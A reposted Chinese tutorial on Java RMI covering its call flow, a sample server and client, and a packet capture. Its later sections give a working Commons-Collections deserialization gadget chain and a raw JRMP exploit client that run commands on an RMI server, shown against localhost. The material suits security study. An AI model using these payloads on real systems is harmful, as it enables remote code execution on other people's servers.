转载

RMI

@Author: Patrilic @Time: 2020-3-17 16:41:55

RMI

0x00 前言

RMI(Remote Method Invocation) - Java远程方法调用, 类似于RPC, 实现了Java程序跨JVM的的方法调用。

简而言之就是能够在另一个JVM中调用对象的方法。

0x01 RMI组成

RMI分成三个部分组成:

  • 客户端Client
  • 服务端Server
  • 注册中心Registry

(from javasec )

架构图:

RMI

简述一下RMI的调用流程:

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)。
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
  3. RemoteCall序列化RMI服务名称、Remote对象。
  4. RMI客户端的远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端的远程引用层。
  5. RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)。
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
  7. Skeleton处理客户端请求:bind、list、lookup、rebind、unbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
  8. RMI客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化RMI远程方法调用结果。

但是从上述文字中就产生一个疑问,Client是直接获取服务端的方法执行结果,而类的执行是在Server端,那么例如fastjson这种,它的命令执行又是在Client产生…?

0x02 RMI搭建

服务端

创建一个Java Project - RMIServiceExample
创建Package - com.patrilic.rmi
首先构造一个public接口 RMIServiceAPI ,需要继承Remote,同时throws RemoteException

package com.patrilic.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIServiceAPI extends Remote {
	public String hello(String a) throws RemoteException;
}

然后再构造一个Class实现

  • 需要继承UnicastRemoteObject类,同时实现RMIServiceAPI接口
  • 构造函数需要抛出RemoteException
package com.patrilic.rmi;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIService extends UnicastRemoteObject implements RMIServiceAPI {
	/**
	 * 
	 */
	private static final long serialVersionUID = 1L;

	protected RMIService() throws RemoteException {
		super();
	}
	
	public String hello(String a) throws RemoteException {
        System.out.println("call from" + a);
        return "Hello world";
    }
}

最后构造一个StartService.java,用于注册服务代码

package com.patrilic.rmi;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;


public class StartService {
	public static void StartService() {
        String host ="127.0.0.1";
        String port ="1099";
        try {
            RMIServiceAPI service = new RMIService();
            LocateRegistry.createRegistry(Integer.valueOf(port));
            Naming.bind("rmi://" + host + ":" + port + "/RmiService", service);
            System.out.println("[INFO]:Success to bind rmi object");
        } catch (NumberFormatException e) {
            e.printStackTrace();
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (MalformedURLException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
	}


public static void main(String[] args) {
	StartService();
	}
}

RMI

客户端

和Server端一样,先构造一个接口继承Remote

注意,必须使用和Server端相同的package和RMIServiceAPI名称,不然会报错

RMI
package com.patrilic.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIServiceAPI extends Remote {
	public String hello(String a) throws RemoteException;
}

构造Client调用服务端的hello接口

package com.patrilic.rmi;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
public class RMIClient {
   
    public static void linkHello(String a) throws RemoteException {
        String host = "127.0.0.1";
        String port = "1099";
        try {
            Remote remote = Naming.lookup("rmi://" + host + ":" + port
                    + "/RmiService");
            if (remote instanceof RMIServiceAPI) {
            	RMIServiceAPI rmiService = (RMIServiceAPI) remote;
                String result = rmiService.hello(a);
                System.out.println(result);
            }
        } catch (NotBoundException e) {
            e.printStackTrace();
        } catch (MalformedURLException e) {
            e.printStackTrace();
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }
                    
                    
    public static void main(String[] args) {
        try {
            linkHello("Patrilic");
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }
}

RMI

RMI

0x03 RMI通讯流程

在RMIClient对Server端进行lookup操作时,用Wireshark指定lo0网卡抓包

RMI

第一部分

AC ED 00 05是常见的java反序列化16进制特征
Client连接Registry中心的1099端口, 建立通讯

Client通过JRMI,Call查询需要调用的函数的远程引用,注册中心通过JRMI,ReturnData返回RMI的调用类以及Server的ip和端口

RMI RMI

第二部分

通过注册中心提供的Server的ip和端口,进而Client和Server进行连接

RMI

第三部分

再进行一次JRMI,Client连接Registry中心的1099端口

RMI

应该是在确认调用类需要的东西

RMI

第四部分

RMI RMI

返回调用结果

0x04 RMI反序列化漏洞

从之前的流程图就可以发现,通讯过程中的所有对象都是序列化之后传输,那么就必定有反序列化操作。

这里利用Common-Collections-3.1的反序列化

代码来自 https://xz.aliyun.com/t/6660#toc-6

Server

package com.patrilic.rmi;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class Server {

    public interface User extends Remote {
        public String name(String name) throws RemoteException;
        public void say(String say) throws RemoteException;
        public void dowork(Object work) throws RemoteException;
    }

    public static class UserImpl extends UnicastRemoteObject implements User{

        protected UserImpl() throws RemoteException{
            super();
        }
        public String name(String name) throws RemoteException{
            return name;
        }
        public void say(String say) throws  RemoteException{
            System.out.println("you speak" + say);
        }
        public void dowork(Object work) throws  RemoteException{
            System.out.println("your work is " + work);
        }
    }

    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:1099/User";
        UserImpl user = new UserImpl();
        LocateRegistry.createRegistry(1099);
        Naming.bind(url,user);
        System.out.println("the rmi is running ...");
    }
}

Client

package com.patrilic.rmi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
//import com.patrilic.rmi.Server;
import com.patrilic.rmi.Server.User;

public class Client {
    public static void main(String[] args) throws Exception{
        String url = "rmi://127.0.0.1:1099/User";
        User userClient = (User)Naming.lookup(url);

        System.out.println(userClient.name("lala"));
        userClient.say("world");
        userClient.dowork(getpayload());
    }
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
}

RMI

Github有个项目 BaRMIe

RMI

0x05 JRMP

Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议

package com.patrilic.rmi;
import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;

import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;


public class JRMI {

   public static void main(String[] args) throws IOException {
      if (args.length == 0) {
         args = new String[]{"127.0.0.1", String.valueOf("9527"), "open -a Calculator.app"};
      }
      final String host = args[0];
      final int port = Integer.parseInt(args[1]);
      final String command = args[2];
      Socket socket = null;
      OutputStream out = null;
      try {
         Object payloadObject = RMIExploit.genPayload(command);
         socket = new Socket("127.0.0.1", 9527);
         socket.setKeepAlive(true);
         socket.setTcpNoDelay(true);

         // 获取Socket的输出流对象
         out = socket.getOutputStream();

         // 将Socket的输出流转换成DataOutputStream对象
         DataOutputStream dos = new DataOutputStream(out);

         // 创建MarshalOutputStream对象
         ObjectOutputStream baos = new MarshalOutputStream(dos);

         // 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象
         dos.writeInt(TransportConstants.Magic);// 魔数
         dos.writeShort(TransportConstants.Version);// 版本
         dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型
         dos.write(TransportConstants.Call);// RMI调用指令
         baos.writeLong(2); // DGC
         baos.writeInt(0);
         baos.writeLong(0);
         baos.writeShort(0);
         baos.writeInt(1); // dirty
         baos.writeLong(1L);// 接口Hash值

         // 写入恶意的序列化对象
         baos.writeObject(payloadObject);

         dos.flush();
      } catch (Exception e) {
         e.printStackTrace();
      } finally {
         // 关闭Socket输出流
         if (out != null) {
            out.close();
         }

         // 关闭Socket连接
         if (socket != null) {
            socket.close();
         }
      }
   }

}
原文  http://patrilic.top/2020/03/17/RMI/
正文到此结束
Loading...